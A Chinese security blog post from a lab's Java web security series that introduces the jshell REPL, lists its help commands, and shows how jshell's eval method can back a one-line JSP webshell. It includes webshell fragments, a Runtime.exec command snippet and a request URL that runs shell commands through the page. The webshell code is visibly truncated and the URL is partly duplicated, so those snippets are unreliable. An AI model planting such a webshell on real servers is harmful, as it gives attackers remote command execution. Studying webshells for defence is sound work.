java使用getinputstream_Java Web安全 || Java基础 JShell

点击上方“凌天实验室”,“星标或置顶公众号”

漏洞、技术还是其他,我都想第一时间和你分享

7b2836530936bd8b954c837c3a910d26.png

【历史】已连载更新全部内容:【菜单栏】-【JAVA SEC】

Java 9开始提供了一个叫jshell的功能,jshell是一个REPL(Read-Eval-Print Loop)命令行工具,提供了一个交互式命令行界面,在jshell中我们不再需要编写类也可以执行Java代码片段,开发者可以像pythonphp一样在命令行下愉快的写测试代码了。

命令行执行jshell即可进入jshell模式:

97c8294734d6ffc7c73426578381a9e9.png

输入:/help可以查看具体的命令:

|  键入 Java 语言表达式, 语句或声明。
| 或者键入以下命令之一:
| /list [|-all|-start]
| 列出您键入的源
| /edit
| 编辑按名称或 id 引用的源条目
| /drop
| 删除按名称或 id 引用的源条目
| /save [-all|-history|-start]
| 将片段源保存到文件。
| /open
| 打开文件作为源输入
| /vars [|-all|-start]
| 列出已声明变量及其值
| /methods [|-all|-start]
| 列出已声明方法及其签名
| /types [|-all|-start]
| 列出已声明的类型
| /imports
| 列出导入的项
| /exit
| 退出 jshell
| /env [-class-path ] [-module-path ] [-add-modules ] ...
| 查看或更改评估上下文
| /reset [-class-path ] [-module-path ] [-add-modules ]...
| 重启 jshell
| /reload [-restore] [-quiet] [-class-path ] [-module-path ]...
| 重置和重放相关历史记录 -- 当前历史记录或上一个历史记录 (-restore)
| /history
| 您键入的内容的历史记录
| /help [<command>|]
| 获取 jshell 的相关信息
| /set editor|start|feedback|mode|prompt|truncation|format ...
| 设置 jshell 配置信息
| /? [<command>|]
| 获取 jshell 的相关信息
| /!
| 重新运行上一个片段
| /
| 按 id 重新运行片段
| /-
| 重新运行前面的第 n 个片段
|
| 有关详细信息, 请键入 '/help', 后跟
| 命令或主题的名称。
| 例如 '/help /list' 或 '/help intro'。主题:
|
| intro
| jshell 工具的简介
| shortcuts
| 片段和命令输入提示, 信息访问以及
| 自动代码生成的按键说明
| context
| /env /reload 和 /reset 的评估上下文选项

使用JShell执行代码片段

jshell不仅是一个命令行工具,在我们的应用程序中同样也可以调用jshell内部的实现API,也就是说我们可以利用jshell来执行Java代码片段而不再需要将Java代码编译成class文件后执行了。

jshell调用了jdk.jshell.JShell类的eval方法来执行我们的代码片段,那么我们只要想办法调用这个eval方法也就可以实现真正意义上的一句话木马了。

jshell.jsp一句话木马示例:

"src"))%>

程序执行后会输出一些不必要的信息,如果有强迫症可以修改为:

"src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>

然后我们需要编写一个执行本地命令的代码片段:

new String(Runtime.getRuntime().exec("pwd").getInputStream().readAllBytes())

Java 9java.io.InputStream类正好提供了一个readAllBytes方法,我们从此以后再也不需要按字节读取了。

浏览器请求:http://localhost:8080/jshell.jsp?src=new%20String(Runtime.getRuntime().exec(%22pwd%22).getInputStream().readAllBytes()).exec("pwd").getInputStream().readAllBytes()))

程序执行结果:

c782edaac2e73aed14a20c8a306be89d.png

**如果您在阅读文章的时候发现任何问题都可以通过Vchat与我们联系,也欢迎大家加入javasec微信群一起交流。

Vchat获取方式:对话框发送“javasec”

a72597b5190d42e6338b96228ab7af0f.png d60eeef734ea123217c42284c38dfa02.png凌天实验室

凌天实验室,是安百科技旗下针对应用安全领域进行攻防研究的专业技术团队,其核心成员来自原乌云创始团队及社区知名白帽子,团队专业性强、技术层次高且富有实战经验。实验室成立于2016年,发展至今团队成员已达35人,在应用安全领域深耕不辍,向网络安全行业顶尖水平攻防技术团队的方向夯实迈进。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值